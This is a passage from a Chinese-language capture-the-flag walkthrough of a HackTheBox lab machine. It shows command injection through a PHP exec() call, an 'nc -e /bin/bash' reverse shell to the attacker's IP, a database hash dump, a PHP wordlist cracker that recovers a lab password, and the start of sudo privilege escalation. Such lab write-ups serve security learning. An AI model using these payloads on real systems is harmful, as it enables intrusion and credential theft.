85, 170);">$mycon</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(152, 26, 26);">?&gt;</span></span></pre><p cid="n12" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">尝试代码审计。发现文件上传确实传递到了数据库。没有文件包含。在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: var(--monospace);vertical-align: initial;border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);background-color: rgb(243, 244, 244);border-radius: 3px;padding-right: 2px;padding-left: 2px;font-size: 0.9em;">logs.php</code></span><span md-inline="plain" style="box-sizing: border-box;">有一个使用一个危险函数exec，直接拼接名执行命令。</span></p><pre spellcheck="false" lang="php" cid="n13" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 85, 170);">$output</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(51, 0, 170);">exec</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;/usr/bin/python /opt/scripts/log_process.py </span>{<span style="box-sizing: border-box;color: rgb(0, 85, 170);">$_POST</span>[<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;delim&#39;</span>]}<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">echo</span> <span style="box-sizing: border-box;color: rgb(0, 85, 170);">$output</span>;</span></pre><p cid="n14" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">是调用python运行的。可以尝试命令注入。</span></p><pre spellcheck="false" lang="http" cid="n15" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">POST</span> <span style="box-sizing: border-box;color: rgb(255, 85, 0);">/logs.php</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">HTTP/1.1</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">Host:</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);"> 10.10.11.104</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">User-Agent:</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);"> Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">Accept:</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);"> text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">Accept-Language:</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);"> zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">Accept-Encoding:</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);"> gzip, deflate</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">Connection:</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);"> close</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">Cookie:</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);"> PHPSESSID=3m9h1c26tve4hcdsnqicrjuim2</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">Upgrade-Insecure-Requests:</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);"> 1</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">Content-Type:</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);"> application/x-www-form-urlencoded</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(34, 17, 153);">Content-Length:</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);"> 14</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">delim=1;whoami</span></pre><p cid="n16" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">发现无回显。尝试使用反弹shell</span></p><pre spellcheck="false" lang="bash" cid="n17" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(51, 0, 170);">nc</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-e</span> /bin/bash <span style="box-sizing: border-box;color: rgb(17, 102, 68);">10</span>.10.14.70 <span style="box-sizing: border-box;color: rgb(17, 102, 68);">4444</span></span></pre><p cid="n18" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">直接到用户目录获取flag。发现权限不够。尝试提权。发现有个本地有个3306</span></p><pre spellcheck="false" lang="bash" cid="n19" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">netstat <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-atn</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Active Internet connections (servers and established)</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Proto Recv-Q Send-Q Local Address           Foreign Address         State      </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">tcp        <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>      <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">127</span>.0.0.53:53           <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>.0.0.0:*               LISTEN     </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">tcp        <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>      <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>.0.0.0:22              <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>.0.0.0:*               LISTEN     </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">tcp        <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>      <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">127</span>.0.0.1:3306          <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>.0.0.0:*               LISTEN     </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">tcp        <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>      <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">10</span>.10.11.104:58524      <span style="box-sizing: border-box;color: rgb(17, 102, 68);">1</span>.1.1.1:53              SYN_SENT   </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">tcp        <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>      <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">10</span>.10.11.104:59894      <span style="box-sizing: border-box;color: rgb(17, 102, 68);">10</span>.10.14.70:4444        ESTABLISHED</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">tcp6       <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>      <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span> :::80                   :::*                    LISTEN     </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">tcp6       <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>      <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span> :::22                   :::*                    LISTEN     </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">tcp6       <span style="box-sizing: border-box;color: rgb(17, 102, 68);">0</span>    <span style="box-sizing: border-box;color: rgb(17, 102, 68);">491</span> <span style="box-sizing: border-box;color: rgb(17, 102, 68);">10</span>.10.11.104:80         <span style="box-sizing: border-box;color: rgb(17, 102, 68);">10</span>.10.14.52:48704       FIN_WAIT1  </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span></pre><p cid="n20" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">开启交互式shell，发现查看用户密码：</span></p><pre spellcheck="false" lang="" cid="n21" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">select * from accounts;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">+----+----------+------------------------------------+---------------------+</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">| id | username | password                           | created_at          |</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">+----+----------+------------------------------------+---------------------+</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">|  1 | m4lwhere | $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. | 2021-05-27 18:18:36 |</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">|  2 | admin    | $1$🧂llol$uXqzPW6SXUONt.AIOBqLy. | 2021-10-15 06:17:09 |</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">|  3 | hogeuser | $1$🧂llol$79cV9c1FNnnr7LcfPFlqQ0 | 2021-10-15 07:34:26 |</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">+----+----------+------------------------------------+---------------------+</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">3 rows in set (0.00 sec)</span></pre><p cid="n22" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">这个密码把我看蒙了？记得前面有个创建新用户看看代码果然是通过php 函数加密的。。accounts.php下第56行。</span></p><pre spellcheck="false" lang="" cid="n23" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">$hash = crypt($password, &#39;$1$🧂llol$&#39;);</span></pre><p cid="n24" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">了解一下php 的crypt函数发现是个多功能加密函数。</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">PHP crypt() 函数 | 菜鸟教程 (runoob.com)</span></span></p><p cid="n25" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">类比之下感觉使用了md5加密。解密它。</span></p><pre spellcheck="false" lang="" cid="n26" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Standard DES: rl.3StKT.4T8M</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Extended DES: _J9..rasmBYk8r9AiWNc</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">MD5:          $1$rasmusle$rISCgZzpwk3UhDidwXvin0</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">Blowfish:     $2a$07$usesomesillystringfore2uDLvp1Ii2e./U9C8sBjqp8I90dH6hi</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">SHA-256:      $5$rounds=5000$usesomesillystri$KqJWpanXZHKq2BOB43TSaYhEWsQ1Lr5QNyPCDH/Tp.6</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">SHA-512:      $6$rounds=5000$usesomesillystri$D4IrlXatmP7rx3P3InaxBeoomnAihCKRVQP22JZ6EY47Wc6BkroIuUUBOov1i.S5KPgErtP/EN5mcO.ChWQW21</span></pre><p cid="n27" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">有了加密算法，有了密文。有了密钥：使用php脚本进行解密</span></p><pre spellcheck="false" lang="PHP" cid="n28" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(152, 26, 26);">&lt;?</span><span style="box-sizing: border-box;color: rgb(0, 0, 0);">php</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 85, 170);">$lines</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(51, 0, 170);">file</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;/usr/share/wordlists/rockyou.txt&#34;</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(119, 0, 136);">foreach</span> (<span style="box-sizing: border-box;color: rgb(0, 85, 170);">$lines</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">as</span> <span style="box-sizing: border-box;color: rgb(0, 85, 170);">$line</span>) {</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(0, 85, 170);">$line</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(51, 0, 170);">trim</span>(<span style="box-sizing: border-box;color: rgb(0, 85, 170);">$line</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    <span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span>(<span style="box-sizing: border-box;color: rgb(0, 85, 170);">$line</span><span style="box-sizing: border-box;color: rgb(152, 26, 26);">!=</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&#34;</span>){</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">         <span style="box-sizing: border-box;color: rgb(0, 85, 170);">$hash</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(51, 0, 170);">crypt</span>(<span style="box-sizing: border-box;color: rgb(0, 85, 170);">$line</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;$1$🧂llol$&#39;</span>);</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">         <span style="box-sizing: border-box;color: rgb(119, 0, 136);">if</span> (<span style="box-sizing: border-box;color: rgb(0, 85, 170);">$hash</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">==</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;$1$🧂llol$uXqzPW6SXUONt.AIOBqLy.&#39;</span>) {</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                 <span style="box-sizing: border-box;color: rgb(119, 0, 136);">echo</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;\n </span><span style="box-sizing: border-box;color: rgb(0, 85, 170);">$line</span><span style="box-sizing: border-box;color: rgb(170, 17, 17);">\n&#34;</span>;</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">                 <span style="box-sizing: border-box;color: rgb(119, 0, 136);">echo</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;\n--------------------爆破结束--------------------\n&#34;</span>; }</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    }</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(152, 26, 26);">?&gt;</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span></pre><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-fileid="100001209" data-ratio="0.4449685534591195" data-s="300,640" style="" data-type="png" data-w="1272" src="https://wechat2rss.xlab.app/img-proxy/?k=42581a4c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fpx3YHTjnicprJicG9uW54wmiaDat9V3jPIf904muOr5htgBfg8ib18UqwetX1jcU1vMzYYOED8icvfsiaB3VxuZAaiciag%2F640%3Fwx_fmt%3Dpng"/></p><pre spellcheck="false" lang="" cid="n30" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">username = m4lwhere</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">password = ilovecody112235!</span></pre><pre spellcheck="false" lang="" cid="n31" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">ssh m4lwhere@10.10.11.104</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">ilovecody112235!</span></pre><h3 cid="n32" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;font-size: 1.5em;box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: center;background-color: rgb(255, 255, 255);"><span style="font-size: 24px;"><strong style="color: rgb(63, 63, 63);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 22.4px;white-space: normal;"><span style="font-size: 24px;color: rgb(255, 76, 0);">linux提权</span></strong></span></h3><p cid="n33" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">登录,尝试提权</span></p><pre spellcheck="false" lang="bash" cid="n34" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">m4lwhere@previse:~<span style="box-sizing: border-box;color: rgb(0, 0, 255);">$ sudo</span> <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-l</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">[sudo] password <span style="box-sizing: border-box;color: rgb(119, 0, 136);">for</span> m4lwhere: </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">User m4lwhere may run the following commands on previse:</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">    (root) /opt/scripts/access_backup.sh</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span></pre><p cid="n35" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">常看内容是一个压缩脚本</span></p><pre spellcheck="false" lang="bash" cid="n36" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">m4lwhere@previse:~<span style="box-sizing: border-box;color: rgb(0, 0, 255);">$ cat</span> /opt/scripts/access_backup.sh </span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">#!/bin/bash</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);"># We always make sure to store logs, we take security SERIOUSLY here</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);"># I know I shouldnt run this as root but I cant figure it out programmatically on my account</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(170, 85, 0);"># This is configured to run with cron, added to sudo so I can run as needed - we&#39;ll fix it later when there&#39;s time</span></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">gzip <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-c</span> /var/log/apache2/access.log &gt; /var/backups/<span style="box-sizing: border-box;color: rgb(0, 153, 0);">$(date --date=&#34;yesterday&#34; +%Y%b%d)</span>_access.gz</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">gzip <span style="box-sizing: border-box;color: rgb(0, 0, 204);">-c</span> /var/www/file_access.log &gt; /var/backups/<span style="box-sizing: border-box;color: rgb(0, 153, 0);">$(date --date=&#34;yesterday&#34; +%Y%b%d)</span>_file_access.gz</span><br/><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"></span></pre><p cid="n37" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">查看权限</span></p><pre spellcheck="false" lang="bash" cid="n38" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: 